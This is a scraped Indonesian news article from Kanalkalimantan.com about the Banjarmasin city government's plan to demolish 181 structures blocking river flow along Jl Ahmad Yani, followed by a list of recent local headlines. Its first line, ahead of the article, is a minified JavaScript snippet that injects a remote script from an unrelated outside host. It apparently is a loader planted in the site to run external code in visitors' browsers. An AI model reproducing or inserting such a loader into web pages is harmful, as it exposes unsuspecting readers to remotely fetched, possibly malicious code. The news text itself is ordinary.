(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

181 Titik Bangunan Penghambat Sungai Akan Dieksekusi Pemko Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Pemko Banjarmasin akan mengeksekusi ratusan bangunan yang menjadi penghambat aliran sungai. Langkah tersebut dilakukan untuk normalisasi sungai serta mencegah dampak banjir yang sebelumnya menjadi mimpi buruk bagi warga kota seribu sungai ini.

Plt Kepala Dinas PUPR Kota Banjarmasin, Windiasti Kartika mengatakan, selain melakukan eksekusi bangunan yang pernah dilakukan sebelumnya, pihaknya juga sudah memverifikasi hingga menandai titik mana saja yang harus dieksekusi.

Terdata ada 181 titik yang di sepanjang Jl Ahmad Yani dari Km 1 sampai Km 6. Sementara di kawasan Jalan Veteran jumlahnya mencapai 30 titik.

“Ada jembatan bangunan gedung baik di kiri maupun kanan jalan yang sebagian besar rendah dan mempersempit aliran air sungai. Kemudian juga bangunan lain,” katanya kepada Kanalkalimantan.com, Kamis (4/2/2021).

Ia mengatakan, 181 titik tersebut merupakan data awal dan akan memverifikasi ulang. Mana di antaranya yang benar-benar menghalangi aliran air sungai. “Kalau airnya masih bisa lewat dan tidak tersumbat, itu dieksekusi belakangan,” tambahnya.

Ia juga menegaskan, sebelum melakukan eksekusi nanti, agar para pemilik bangunan bisa membongkar sendiri sebelum dieksekusi oleh Pemko. Pasalnya surat edaran sudah diterbitkan yang berisikan imbauan kepada pemilik bangunan ataupun jembatan bisa membongkar sendiri.

“Apabila semua pembongkaran diserahkan pada Pemko Banjarmasin, tentu perlu waktu lama. Mungkin sampai dua atau tiga tahun, dan itu perlu energi dan dana yang lumayan besar nantinya,” katanya.

Untuk pembongkaran satu jembatan gedung saja, Windiasti mengatakan, perlu waktu seharian penuh. Itu pun belum termasuk bangunan hunian warga . “Untuk tahap awal kali ini, paling tidak yang bisa dikerjakan dulu. Dalam surat edaran itu jelas, bahwa setiap yang menghalangi aliran sungai wajib dibongkar,” tutupnya.(Kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Cell

 

 

 

 


Al Ghifari

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

4 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

5 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

6 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

6 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

7 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

7 jam ago

This website uses cookies.